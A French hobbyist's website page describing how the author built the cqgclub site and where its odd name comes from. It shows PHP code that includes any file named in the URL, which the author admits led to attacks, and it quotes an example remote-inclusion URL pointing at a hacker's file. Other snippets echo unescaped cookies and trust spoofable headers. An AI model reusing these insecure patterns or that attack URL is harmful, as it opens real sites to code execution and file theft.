cqgclub
infos logo rss
Statistiques Stats depuis le 8 juin 2007.
Visiteur connecté actuellement : 1
Visiteurs uniques : 1355
Nombre de Visiteurs : 3089
Total des pages vues : 33068
Record des visites simultanées
Le 30/10/2009) : 8


CQG

Qu'est-ce que cqg?

La construction de cqg

Que signifie cqg?

Me contacter


Qu'est-ce que cqg?

A l'origine le site cqgclub est une base de connaissance, un tas de documents accumulés lors de ma formation de technicien d'assistance informatique aux utilisateurs et de mes recherches.
Ces documents sont des TP, des fichiers pris sur internet, des logiciels et programmes...
Ils se présentent sous la forme de .docs (écrits avec World de Microsoft), de .htm, html, xhtml, ... pris sur internet ou mis en page par moi-même (l'auteur est indiqué sur le document ou dans le code source), des .pdf pris sur internet (parce que je n'en fait pas), des fichiers .txt ou .rtf qui sont en général des notes ou des redirections d'interpréteur de commande vers des fichiers texte, des programmes en batch correspondant à des TP ou à des exercices plus personnels, des .exe ou autres logiciels libres, des logiciels propriétaires mais ceux ci ne sont pas accessibles au public, des liens vers plutôt des pages de références plutôt que des sites, et enfin des .zip, répertoires (ou fichiers parfois) compressés contenant des documents bien propres ou des tas de brouillons, de bouts de codes, de notes, etc.
Tous ces documents se trouvaient sur une clé USB et les logiciels les plus lourds (en nombre d'octet) sur un serveur FTP.
Ce que je voulais c'était de créer un menu rendant disponible plus rapidement ces documents classés par thème.
Une page web munie d'un menu déroulant me paraissait idéale. Le site du cqg est donc construite autours du menu de gauche.
Mais le web me passionne, et travailler le style et l'accés aux documents me permet d'apprendre les langages tels que le HTML, XHTML, javascript, php et bientôt le python, le pearl, etc.
Apprendre me donne une grande satisfaction et je pense que le but de l'humanité n'est pas le bonheur mais l'évolution
Enfin le thème ici n'est pas la philosophie ;)
Bref, plus ça allait, plus j'étais fier du site cqg. J'ai donc continué à le rendre plus accessible au publique jusqu'au jour ou il était temps de le référencer et de le faire connaitre (en fait c'est pour bientôt).
Le contenu est destiné à ceux qui aiment l'informatique, plus particulièrement les techniciens, les administrateurs réseau, ainsi qu'aux développeurs.
J'espère pouvoir apporter des réponses et des connaissances à ceux qui en cherchent, créer aussi une vrai discution afin de compléter ma documentation, corriger les erreurs et en apprendre toujours plus.


La construction de cqg

La conception du site cqg a pris du temps, chaque partie est l'oeuvre de recherches.


  • Les scripts

       

    • Les pages dynamiques
    • La page d'index de cqg est toute petite et utilise la fonction php include pour le script javascript et le menu, la bannière, le pied de page et enfin le contenu.
      Ces différentes parties sont toujours les mêmes sauf le contenu qui est une variable passée dans l'url ce qui permet de créer des liens ouvrant la page d'index avec le menu la bannière etc, et le contenu désiré.
      Dans la page index.php :
      Les liens appelant le contenu :
      <a href="index.php?id=BDC/ToolsCommandLine/ATcmd.php" title="utiliser la commande AT">AT</a>
      Ce lien mène à la page index.php (donc la même) avec la variable id dont la valeur est le chemin/nomDeLaPage soit ici : BDC/ToolsCommandLine/ATcmd.php

      La page index.php contient ce code qui utilise la valeur de la variable id


      <?php
      if (!$_GET['id'])
      {$page_id='page.htm';}
      else
      {$page_id=$_GET['id'];}
      include($page_id);
      ?>
       

      Attention, ce script est à améliorer. En effet, il est la cause d'une grosse faille de sécurité.
      Le cqgclub a subit plusieurs attaques grâce à des fichiers permettant d'executer des script php extérieur en utilisant une url comme :
      http://cqgclub.dyndns.org/index.php?id=http://sitalacon/fichierDeHacker.txt
      Un pirate a pu uploader des fichiers dans le répertoire du site, un autre a tenter de récupérer des fichiers(mots de passe, images, musique, etc...) heureusement sans succés.
      Je ne donne pas ici le script complet pour des raisons de sécurité mais vous pouvez regarder du côté des regex/regexp :
      http://www.expreg.com/memo.php
      http://www.cdprof.com/formation/formation_php8.php
      Il est aussi évidement très important de bien configurer apache.

       

    • Les cookies
    • Le site cqg utilise un cookie. Ce cookie sert à transporter la valeur de la variable style_css
      Cette valeur correspond à la feuille de style que vous avez choisie : cqgmarron.css ou cqgbleu.css, etc.
      Quand vous cliquez sur une des bulles de couleurs vous cliquez sur un lien vers une page php qui crée le cookie.
      Ce lien transporte votre choix dans l'url. Voici ce lien :


      <a href="selecteur-style_get.php?css=cqgrose.css">
        <img src="fichiers/bouton_style_rose.png" alt="bouton de style rose "
        title="bouton pour le style rose" width="12" height="12" />

      </a>
       

      Et voici le contenu de la page selecteur-style_get.php :

      <?php
        setcookie("stylecss", $_GET[css], time () + 31536000, '/');
        header("location:".$_SERVER['HTTP_REFERER']);
      ?>
       

      Après avoir créé le cookie, la fonction header redirige vers la page d'ou vous veniez.
      Et enfin, le cookie est utilisé dans l'entête, dans la meta appelant la feuille de style que voici :
      <link rel="stylesheet" type="text/css" href="http://cqgclub.dyndns.org/fichiers/
      <?php
      echo (!$_COOKIE['stylecss'])?'cqgmarron.css':$_COOKIE['stylecss'] ?>" />


      Ainsi, si le cookie n'existe pas, ce sera cqgmarron.css qui définira le style.
      Pour voir le tutorial que j'ai utilisé cliquez là

       

    • Votre adresse IP
    • Votre adresse ip est trouvé grâce à une variable du serveur php. Celle ci est légèrement modifiée afin d'afficher votre ip même si vous êtes derriere un proxi.
      Je ne sais plus où j'ai trouvé le code, je l'ai mis en oeuvre pour les logs du uploader du cric.
      Voici le code :


      <?php
      //fonction qui retourne l'IP de l'expediteur meme si celui est derriere un proxi
      function get_ip($ip)
      {
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
          $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
        }
        elseif(isset($_SERVER['HTTP_CLIENT_IP']))
        {
          $ip = $_SERVER['HTTP_CLIENT_IP'];
        }
        else
        {
          $ip = $_SERVER['REMOTE_ADDR'];
        }
      return ($ip);
      };
      ?>
       

      Et voici comment la fonction est appelée :

      <?php
      $ip = get_ip($ip);
      echo'Votre @IP : '.$ip;
      ?>
       

       

    • Le javascript
    • J'ai tenté d'utiliser le moins possible le javascript pour penser aux utilisateurs qui l'ont désactivé.
      Il y a tout de même un petit script javascript pour le menu de gauche, uniquement pour ceux qui naviguent avec internet Explorer de microsoft.
      En effet, avec IE, sans ce script, le menu est complètement con, déjà qu'avec c'est pas la joie.
      Du javascript est aussi utilisé dans les formulaires, ceci afin de corriger les éventuelles erreurs saisies, sans avoir à faire le traitement php puis revenir au formulaire.


  • Que signifie cqg?

    cqgclub est le nom d'un établissement imaginaire situé à St James USA en 2122.
    Il fut créé par un ami pour les besoins d'un jeu de rôle, cyber punk.
    Le propriétaire de ce bar restaurant est un moi cyber en 2122, et quand on rentre dans l'établissement, on le sait tout de suite car il y a de la végétaline de partout par terre, des épinards au plafond (c'est arrivé dans la vraie vie, hé oui je cuisine) et j'en passe.
    cqg est donc le diminutif d'un de mes surnoms, couille qui gratte, et club pour faire un peu plus bar resto.


    Me contacter

    En bas à gauche cliquez sur contact pour m'envoyer un mail.
    Vous pouvez faire cela pour plusieurs raisons, me signaler des erreurs, me demander de compléter des documents, me faire n'importe quelle remarque concernant le style ou autre... et pourquoi pas m'encourager.
    De toutes façons, une remarque quelle qu'elle soit me comblerai de bonheur puisque cela démontrerait que le cqgclub ne vous laisse pas indifférent.

    Merci et à bientôt ;)


    bouton de style marron bouton de style rouge bouton de style bleu bouton de style rose bouton de style vert bouton de style orange Votre @IP : 38.107.191.96